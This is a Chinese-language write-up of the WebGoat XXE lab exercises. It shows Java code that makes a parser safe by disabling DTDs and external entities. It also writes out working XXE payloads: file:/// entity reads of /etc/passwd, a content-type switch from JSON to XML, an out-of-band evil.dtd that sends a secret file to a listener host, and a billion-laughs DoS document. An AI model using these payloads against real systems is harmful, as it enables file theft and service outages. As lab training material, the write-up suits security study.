目录
前言:
0x01 Let’s try
0x02 代码分析
2.1 安全的代码
0x03 Modern REST framework
3.1 解题:
3.2 改为xml格式:
3.3 源码分析:
3.4 参考解决方案
0x04 Blind XXE assignment
0x05XXE DOS attack
参考文章:
前言:
在进行代码分析之前,要先懂漏洞产生的原理,不妨看看这篇文章,WebGoat上面描述的也不错,值得研读。
0x01 Let’s try
我们直接来看一下题目
题目的意思是让我们列出root下的文件,可以看到这里只有一个评论的功能
发现传输的格式是xml,很简单我们引入我们的dtd文件就可以了
<!DOCTYPE ANY [
<!ENTITY js SYSTEM "file:///etc/passwd">
]>
首先我们得知道为什么会出现xxe的问题,这里分为三步:
首先,我们的功能点得解析我们的xml格式的数据(也就是xml数据我们是可控的)
其次,得允许dtd实体的引入
那么我们接下来来看一下代码是哪里出现问题并且进行定位一下
路由是 /xxe/simple
直接全局搜索
首先看到代码中,我们的评论是被Comment类封装的,然后利用Comments类中的parsexml来解析我们传递过去的xml格式的内容
跟过去看一下
查看下面这段代码可以发现,我们能控制我们输入的xml 同时也没有对实体进行一个限定,所以导致我们传入的xml能被正常解析从而执行命令
那么如何进行修复呢?
其实也比较简单,就是添加两行代码就行了,将支持外部实体和支持dtd都给禁止了
0x02 代码分析
2.1 安全的代码
package XXE;
import lombok.var;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;
public class XXERepair {
public void Repair() throws JAXBException, XMLStreamException {
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]><comment><text>&xxe;</text></comment>";
var jc = JAXBContext.newInstance(Comment.class);
// 创建了我们的工厂 读取xml的一个工厂
var xif = XMLInputFactory.newInstance();
// 不支持外部实体
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
var xsr = xif.createXMLStreamReader(new StringReader(xml));
// 将我们的xml 变成我们的java对象
var unmarshaller = jc.createUnmarshaller();
unmarshaller.unmarshal(xsr);
}
public static void main(String[] args) throws JAXBException, XMLStreamException {
XXERepair test = new XXERepair();
test.Repair();
}
}
这里直接把webgoat的拿过来了
Comment 类
package XXE;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import javax.xml.bind.annotation.XmlRootElement;
@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
private String user;
private String dateTime;
private String text;
}
0x03 Modern REST framework
在现代REST框架中,服务器可能能够接受您作为开发人员没有考虑过的数据格式。 因此,这可能会导致JSON端点容易受到XXE攻击。
同样的练习,但尝试执行与第一次赋值中相同的XML注入。
3.1 解题:
3.2 改为xml格式:
3.3 源码分析:
webgoat/xxe/ContentTypeAssignment.java
- 代码根据contentType判断数据格式,之后xml的解析和XXE-04一样,所以同样存在XXE
3.4 参考解决方案
这个赋值背后的想法是,虽然应用程序看起来只接受JSON,但如果我们将消息体更改为XML,框架可能会处理它。 当你尝试输入评论时,请求体将是:
{"text":"My first comment"}
- 这是一个普通的json消息,让我们试着改变请求的内容类型
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
{"text":"My first comment"}
- 引发此错误警告
javax.xml.bind.UnmarshalException\n - with linked exception:\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1]\nMessage: Content is not allowed in prolog.
- 根据XML解析器的不同,您可能会得到更详细的错误消息,在这种情况下,消息有点神秘,这意味着我们没有发送有效的XML。 例如,Jackson库给出以下信息:
JSON parse error: Unexpected character '{' (code 123) in prolog; expected
'<'\n at [row,col {unknown-source}]: [1,1]; nested exception is com.fasterxml.jackson.core.JsonParseException:
Unexpected character '{' (code 123) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]“
- 这个错误消息出现是因为我们请求体的内容仍然是json格式,所以如果我们拦截并更改json消息为xml消息:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<text>This is my first message</text>
- 返回错误消息:
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7; unexpected element (uri:\\\"\\\", local:\\\"text\\\"). Expected elements are <{}comment>]
- 解析器抱错消息不是有效的xml消息,需要嵌入到comment标签中:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<comment><text>This is my first message</text></comment>
- 现在不再报错,如果在WebGoat中刷新页面,发布的评论就会出现。
为了攻击工作,我们需要发布:
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>
在一些公司的网络中,如果通过HTTP发送,一些网络设备可能会完全丢弃这个payload。 在这种情况下,POST不会返回响应,并且终端永远不会接收请求。 然而,这种保护的作用是有限的,因为相同的请求将在HTTPS设置中成功通过,而负载将被加密。
0x04 Blind XXE assignment
我们只需要把我们的恶意dtd放在我们的webwolf上,然后发送payload远程调用我们的恶意dtd,然后发送到我们的webwolf上就行了
- 首先是我们的evil.dtd
<!ENTITY % file SYSTEM "file:///Users/xxxx/.webgoat-v8.1.0//XXE/secret.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:9090/%file;'>">
- 然后发送payload
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin123/test2.dtd">
%remote;%int;%send;
]>
<comment> <text>111</text></comment>
- 然后请求就发送过来了
我们只需要url解码一下就行了
源码层面其实还是一样的,无非就是不返回我们的信息了
这里有个if判断不让我们直接使用file协议进行直接读取,所以要读取只能借助evil.dtd
- 注入
产生的流量
0x05 XXE DOS attack
使用同样的XXE攻击,我们可以对服务器执行DOS服务攻击。 这种攻击的一个例子是:
十亿笑脸DOS攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当XML解析器加载该文档时,它看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。然而,“&lol9;”是一个定义的实体,它扩展为一个包含十个“&lol8;”字符串。 每个“&lol8;”字符串都是一个被定义的实体,扩展为10个“&lol7;”字符串,以此类推。 在处理完所有实体扩展之后,这个小的(< 1 KB) XML块实际上将占用几乎3g的内存。
参考文章:
java - 使用 JAXB 防止 XXE 攻击 - IT工具网
https://cloud.tencent.com/developer/article/1537654